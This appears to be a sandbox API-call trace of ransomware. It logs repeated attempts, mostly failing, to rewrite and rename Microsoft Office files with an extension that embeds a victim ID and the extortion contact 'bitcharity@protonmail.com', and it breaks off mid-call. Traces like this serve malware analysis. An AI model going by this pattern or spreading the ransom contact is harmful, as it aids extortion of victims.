SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTIT.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\postit.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.747] CloseHandle (hObject=0x1278) returned 1 [0268.749] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.749] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTITL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\postitl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.749] CloseHandle (hObject=0x1278) returned 1 [0268.750] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.750] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTITS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\postits.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.751] CloseHandle (hObject=0x1278) returned 1 [0268.752] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.752] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\postl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.752] CloseHandle (hObject=0x1278) returned 1 [0268.754] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.754] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\posts.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.754] CloseHandle (hObject=0x1278) returned 1 [0268.756] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.756] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RCLRPT.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\rclrpt.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.756] CloseHandle (hObject=0x1278) returned 1 [0268.758] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.758] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REC.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\rec.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.758] CloseHandle (hObject=0x1278) returned 1 [0268.759] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.759] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RECL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\recl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.759] CloseHandle (hObject=0x1278) returned 1 [0268.761] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.761] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RECS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\recs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.761] CloseHandle (hObject=0x1278) returned 1 [0268.762] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.762] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REMOTE.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\remote.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.763] CloseHandle (hObject=0x1278) returned 1 [0268.764] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.764] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REMOTEL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\remotel.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.764] CloseHandle (hObject=0x1278) returned 1 [0268.765] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.766] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REMOTES.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\remotes.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.766] CloseHandle (hObject=0x1278) returned 1 [0268.767] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.767] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REPLTMPL.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\repltmpl.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.767] CloseHandle (hObject=0x1278) returned 1 [0268.919] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.919] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REPORT.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\report.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.920] CloseHandle (hObject=0x125c) returned 1 [0268.921] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.922] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESTS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdrests.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.922] CloseHandle (hObject=0x125c) returned 1 [0268.923] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.923] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDCNCL.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\schdcncl.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.924] CloseHandle (hObject=0x125c) returned 1 [0268.925] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.925] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDREQ.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\schdreq.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.926] CloseHandle (hObject=0x125c) returned 1 [0268.927] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.927] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDRESN.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\schdresn.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.928] CloseHandle (hObject=0x125c) returned 1 [0268.929] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.929] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDRESP.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\schdresp.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.930] CloseHandle (hObject=0x125c) returned 1 [0268.931] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.931] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDREST.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\schdrest.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.931] CloseHandle (hObject=0x125c) returned 1 [0268.933] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.933] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECREC.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\secrec.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.933] CloseHandle (hObject=0x125c) returned 1 [0268.934] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.934] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECRECL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\secrecl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.934] CloseHandle (hObject=0x125c) returned 1 [0268.935] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.935] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECRECS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\secrecs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.935] CloseHandle (hObject=0x125c) returned 1 [0268.937] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.937] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECURE.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\secure.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.937] CloseHandle (hObject=0x125c) returned 1 [0268.939] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.939] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECURL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\securl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.939] CloseHandle (hObject=0x125c) returned 1 [0268.944] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.944] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECURS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\securs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.944] CloseHandle (hObject=0x125c) returned 1 [0268.946] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.946] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SHARING.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\sharing.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.946] CloseHandle (hObject=0x125c) returned 1 [0268.949] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.950] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SIGN.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\sign.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.950] CloseHandle (hObject=0x125c) returned 1 [0268.957] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.957] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SIGNL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\signl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.957] CloseHandle (hObject=0x1268) returned 1 [0268.958] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.959] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SIGNS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\signs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.959] CloseHandle (hObject=0x1268) returned 1 [0269.101] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.102] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SMIMEE.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\smimee.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.747] CloseHandle (hObject=0x1104) returned 1 [0270.320] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.320] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACC.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msacc.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.321] CloseHandle (hObject=0xff8) returned 1 [0270.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.324] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.324] SetFilePointerEx (in: hFile=0xff8, 